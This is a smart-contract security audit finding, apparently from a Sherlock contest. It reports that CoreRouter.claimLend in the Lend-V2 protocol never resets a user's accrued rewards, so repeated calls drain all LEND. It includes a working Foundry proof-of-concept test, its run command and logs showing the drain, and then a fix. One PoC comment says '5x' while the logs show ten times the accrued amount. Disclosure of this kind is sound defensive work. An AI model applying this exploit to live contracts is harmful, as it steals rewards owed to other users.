Short Golden Seagull

High

# Repeated claimLend calls drain all LEND because lendAccrued is not reset

### Summary

The [CoreRouter.claimLend(...)](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L402) function transfers out a user’s entire `lendAccrued` balance from `LendStorage` each time it is called, but never clears or reduces `lendAccrued[user]` afterward. 

As a result, an attacker can call `claimLend` repeatedly - receiving the same accrued LEND tokens over and over - until the `CoreRouter`’s LEND balance is fully drained. Other users are then unable to claim their legitimately accrued rewards.

### Root Cause

In `CoreRouter.claimLend(...)`, after calculating how much LEND a user has accrued (`lendStorage.lendAccrued[user]`), the code calls [grantLendInternal(user, accrued)](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L416-L425) to transfer that amount of LEND. 

However, the LEND accrued mapping is never reset ( `lendAccrued[user] = 0` ). Consequently, on the next invocation, `lendAccrued[user]` still holds the same value and the router will attempt to transfer it again.

### Internal Pre-conditions

- At least two users (incl. the attacker) have previously supplied or borrowed assets so that each has a non-zero `lendAccrued` balance.
- Time or block progression has occurred since their last supply/borrow, so that both users’ `lendAccrued` values are greater than zero.

### External Pre-conditions

None.

### Attack Path

1. Attacker waits for a reasonable time to have LEND accrued.
2. Attacker executes `claimLend(..)` multiple times until they drain the entire LEND balance or leave it with only dust left. 
3. Attacker can then proceed to use the LEND for staking.

### Impact

- **Complete LEND drain** - A single malicious user can drain the entire LEND token balance held by `CoreRouter` .
- **Rewards denial to other users** - Once drained, no one else can claim their accumulated LEND, effectively freezing the rewards distribution for everyone else.

### PoC

1. Add `import "forge-std/console.sol";` in import section of the `TestLendAccrual.t.sol` file

2. Add the following code into the `TestLendAccrual.t.sol` file:

```solidity
 function test_poc_attacker_can_drain_lend() public {
        // user 1 supplies 9x less than user2
        uint256 supplyAmountUser1 = 1000e18;
        uint256 supplyAmountUser2 = 9000e18;

        (, address lToken) = _supply(supplyAmountUser1, user1);
        _supply(supplyAmountUser2, user2);

        // Advance time
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Get initial LEND token balance
        address lendToken = lendtroller.getLendAddress();

        // ---------------- USER 1 ----------------
        vm.startPrank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);

        // User 1 claims LEND 10 times - receiving 5x the accrued amount(due to lendAccrued not being reset)
        for (uint i = 0; i < 10; i++) {
            coreRouter.claimLend(holders, lTokenArray, false, true);
        }

        uint256 user1LendAccrued = lendStorage.lendAccrued(user1);
        uint256 user1FinalBalance = IERC20(lendToken).balanceOf(user1);

        console.log(
            "User1 Lend Accrued: %s, User1 Claimed Lend: %s",
            user1LendAccrued,
            user1FinalBalance
        );
        vm.stopPrank();

        // ---------------- USER 2 ----------------
        console.log(
            "CoreRouter Lend Balance After user1 claimLend: %s",
            IERC20(lendToken).balanceOf(address(coreRouter))
        );

        vm.startPrank(user2);
        holders[0] = user2;
        // User 2 attempts to claim his LEND, but is unable to because user1 has drained the CoreRouter from all the available LEND rewards
        coreRouter.claimLend(holders, lTokenArray, false, true);
        uint256 user2LendAccrued = lendStorage.lendAccrued(user2);
        uint256 user2LendBalance = IERC20(lendToken).balanceOf(user2);

        console.log(
            "User2 Lend Accrued: %s, User2 Claimed Lend: %s",
            user2LendAccrued,
            user2LendBalance
        );

        vm.stopPrank();
    }
```

3. Run the test with the following command:
```shell
forge test --mt test_poc_attacker_can_drain_lend -vv
```

4. Result log:
```shell
Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[PASS] test_poc_attacker_can_drain_lend() (gas: 1281819)
Logs:
  User1 Lend Accrued: 10000000000000000, User1 Claimed Lend: 100000000000000000
  CoreRouter Lend Balance After user1 claimLend: 0
  User2 Lend Accrued: 90000000000000000, User2 Claimed Lend: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.55ms (3.34ms CPU time)
```

### Mitigation

Modify `CoreRouter.claimLend(...)` so that each user’s `lendAccrued[user]` is cleared (or reduced by the transferred amount) immediately after transferring.